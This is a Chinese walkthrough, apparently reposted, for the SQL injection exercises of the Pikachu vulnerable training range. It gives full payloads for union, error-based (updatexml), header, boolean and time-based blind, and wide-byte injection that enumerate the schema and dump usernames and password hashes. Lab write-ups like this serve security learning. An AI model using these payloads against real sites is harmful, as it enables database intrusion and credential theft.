当前位置: 首页 > news >正文

Pikachu靶场--Sql Inject

参考借鉴

pikachu靶场练习(详细,完整,适合新手阅读)-CSDN博客

数字型注入(post)

这种类型的SQL注入利用在用户输入处插入数值,而不是字符串。攻击者试图通过输入数字来修改SQL查询的逻辑,以执行恶意操作。

选择序号进行查询 

在提交查询的同时BP抓包

右键-->发送给Repeater

判断为数字型注入,寻找注入点

拼接该语句,回显正常

id=3 order by 2

拼接该语句,回显报错,说明回显位为2

id=3 order by 3

拼接该语句,得到数据库名:pikachu,数据库版本:5.7.26

id=3 union select database(),version()

拼接该语句,得到pikachu库的表名

id=0 union select 3,group_concat(table_name) from information_schema.tables where table_schema=database()

拼接该语句,得到user表的字段名

id=0 union select 3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

拼接该语句,得到用户名和密码

id=0 union select username,password from users

成功获得用户名和密码,MD5解密即可

                

字符型注入(get)

字符型注入是通过在用户输入中注入恶意字符串来进行攻击。这些字符串可能包含SQL查询中的特殊字符或SQL语句的一部分,从而改变其原意。

输入username-->查询-->输入的内容被放到url

输入lili' 报错,输入lili'-- hello显示正常,判断为字符型   单引号闭合

输入该语句,回显正常

lili' order by 2-- hello

输入该语句,回显报错,说明回显位为2

lili' order by 3-- hello

输入该语句,得到数据库名:pikachu,数据库版本:5.7.26

lili' union select database(),version()-- hello

输入该语句,得到pikachu库的表名

lili' union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'pikachu'-- hello

输入该语句,得到user表的字段名

lili' union select 1, group_concat(column_name) from information_schema.columns where table_schema = 'pikachu' and table_name = 'users'-- hello

输入该语句,得到用户名和密码

lili' union select username, password from users-- hello

成功获得用户名和密码,MD5解密即可

                 

搜索型注入

这种注入利用在搜索表单或查询中输入的内容。攻击者可以通过搜索字段注入SQL代码,执行恶意查询或获取未授权信息。

同字符型注入(get)的做法一样,闭合方式也是只不过回显位为3

解题参照上文

lili' union select 1,database(),version()-- hello

         

xx型注入

同字符型注入(get)的做法一样,只不过闭合方式是'))回显位为2

解题参照上文

lili') union select database(),version()-- hello

                

insert/update注入

这种注入类型发生在INSERTUPDATE语句中,攻击者通过恶意构造的数据插入或更新数据库,可能导致数据损坏、篡改或非预期的操作。

注册用户

注册用户的同时,BP抓包

右键-->发送给Repeater

拼接该语句,得到数据库名:pikachu

username=hello 'or updatexml(1,concat(0x7e,database()),1) or' 

拼接该语句,数据库版本:5.7.26

username=hello 'or updatexml(1,concat(0x7e,(select @@version),0x7e),1) or' 

拼接该语句,得到pikachu库的表名

用户名要是错的,才会执行报错函数,获取表名

username=0 'or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or' 

拼接该语句,得到user表的字段名

username=0 'or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,31),0x7e),1) or' 

拼接该语句,得到用户名和密码

username=0 'or updatexml(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e),1) or' 

成功获得用户名和密码,MD5解密即可

                

delete注入

Delete注入是指攻击者利用恶意构造的输入来删除数据库中的数据,这种攻击可以极大地破坏数据库完整性。

写入一条留言 

在删除留言的同时BP抓包-->发送给Repeater

发现有一个变化的id值,可能存在注入点,尝试用报错注入

BP的GET请求中输入sql语句时,空格用+代替,否则出错

拼接该语句,得到数据库名:pikachu

?id=61+or+updatexml+(1,concat(0x7e,database(),0x7e),1)+ 

拼接该语句,得到pikachu库的表名

?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='pikachu'),0x7e),1)+ 

拼接该语句,得到user表的字段名

?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='pikachu'+and+table_name='users'),0x7e),1)+ 

拼接该语句,得到用户名和密码

?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(username,password)+from+users),0x7e),1)+ 

成功获得用户名和密码,MD5解密即可

                

http header注入

这种类型的注入利用HTTP请求或响应头部中的输入来执行攻击。攻击者可以在头部中插入特定字符,从而影响服务器的处理逻辑或者进行信息泄露。

提示-->获取username和password 

在登录的同时BP抓包

没发现注入点,但发现界面上的信息被BP抓取

右键-->发送给Repeater

因为User-Agent和Accept展示在界面中,所以可以修改这两处

以修改User-Agent为例:拼接该语句,得到数据库名:pikachu

'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'

拼接该语句,得到pikachu库的表名

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or'

拼接该语句,得到user表的字段名

'or updatexml (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),0x7e),1) or'

拼接该语句,得到用户名和密码

'or updatexml (1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) or'

成功获得用户名和密码,MD5解密即可

以上以修改User-Agent为例,也可以修改Accept

                

盲注(base on boolian)

盲注是一种无法直接从响应中获取数据的注入攻击,攻击者通过发送特定的SQL查询,根据应用程序在查询结果中返回的布尔值(真或假)来推断数据库的结构和内容。

查询 lili' 不存在

查询 lili' -- hello,回显正常,判断为单引号闭合

拼接该语句,改变数字查看回显,得到数据库名字的长度:7

lili' and length(database())=7-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p

lili' and substr(database(),1,1)='p'-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第二个字母:i

lili' and substr(database(),2,1)='i'-- hello

猜测数据库名为:pikachu

lili' and substr(database(),1,7)='pikachu'-- hello

成功获得数据库名

接下来用同样的方法猜测表名

①用group_concat猜---费时

②写python脚本自己跑

③使用sqlmap自动注入工具

         

盲注(base on time)

基于时间的盲注是一种通过观察应用程序对恶意查询的响应时间来推断数据库的内容。攻击者可以发送一个查询,如果应用程序对其作出延迟响应,则说明条件成立。

拼接该语句,立马加载完毕(无效)

lili and sleep(5)-- hello

拼接该语句,5秒后加载完毕(有效),所以本题是单引号闭合

lili' and sleep(5)-- hello

拼接该语句,改变数字查看回显速度,得到数据库名字的长度:7

lili' and if (length(database())=7,sleep(5),1)-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p

lili' and if(substr(database(),1,1)='p',sleep(5),1)-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p

lili' and if(substr(database(),2,1)='i',sleep(5),1)-- hello

猜测数据库名为:pikachu

lili' and if(substr(database(),1,7)='pikachu',sleep(5),1)-- hello

成功获得数据库名

接下来用同样的方法猜测表名

用group_concat猜---费时

写python脚本自己跑

使用sqlmap自动注入工具

         

宽字节注入

宽字节注入利用数据库在处理双字节编码(如UTF-8)时的特性来执行攻击。攻击者通过在输入中插入特定的宽字节字符,可能绕过常规的输入过滤机制,从而成功执行注入。

在提交查询的同时BP抓包

它和联合注入类似,只是要在内容后面添加%df

name=lili%df' or 1=1-- hello

拼接该语句,测试得到回显位的数量

name=1%df' union select 1,2-- hello

拼接该语句,得到数据库名:pikachu

name=1%df' union select 1,database()-- hello

拼接该语句,得到pikachu库的表名

name=1%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()-- hello

拼接该语句,得到user表的字段名

name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)-- hello

拼接该语句,得到用户名和密码

name=1%df' union select username,password from users-- hello

 成功获得用户名和密码,MD5解密即可

http://www.lryc.cn/news/387705.html

相关文章:

  • 【Python从入门到进阶】59、Pandas库中Series对象的操作(二)
  • 【PYG】使用datalist定义数据集,创建一个包含多个Data对象的列表并使用DataLoader来加载这些数据
  • 【设计模式】【创建型5-2】【工厂方法模式】
  • python API自动化(Pytest+Excel+Allure完整框架集成+yaml入门+大量响应报文处理及加解密、签名处理)
  • 【Postman学习】
  • 【Linux】IO多路复用——select,poll,epoll的概念和使用,三种模型的特点和优缺点,epoll的工作模式
  • IBCS 虚拟专线——让企业用于独立IP
  • 驾驭巨龙:Perl中大型文本文件的处理艺术
  • Kafka~特殊技术细节设计:分区机制、重平衡机制、Leader选举机制、高水位HW机制
  • springcloud-config 客户端启用服务发现client的情况下使用metadata中的username和password
  • 云计算 | 期末梳理(中)
  • pytest测试框架pytest-order插件自定义用例执行顺序
  • 吴恩达机器学习 第三课 week2 推荐算法(上)
  • MySQL CASE 表达式
  • Unity3D 游戏数据本地化存储与管理详解
  • 昇思25天学习打卡营第1天|初学教程
  • ctfshow-web入门-命令执行(web59-web65)
  • Websocket在Java中的实践——最小可行案例
  • python请求报错::requests.exceptions.ProxyError: HTTPSConnectionPool
  • 【Unity】Excel配置工具
  • 001 线性查找(lua)
  • 数据结构之链表
  • 【小工具】 Unity相机宽度适配
  • centos误删yum和python
  • WP黑格导航主题BlackCandy
  • elasticsearch底层核心组件
  • EasyExcel数据导入
  • 20240630 每日AI必读资讯
  • 第十一章 Qt的模型视图
  • 力扣 单词规律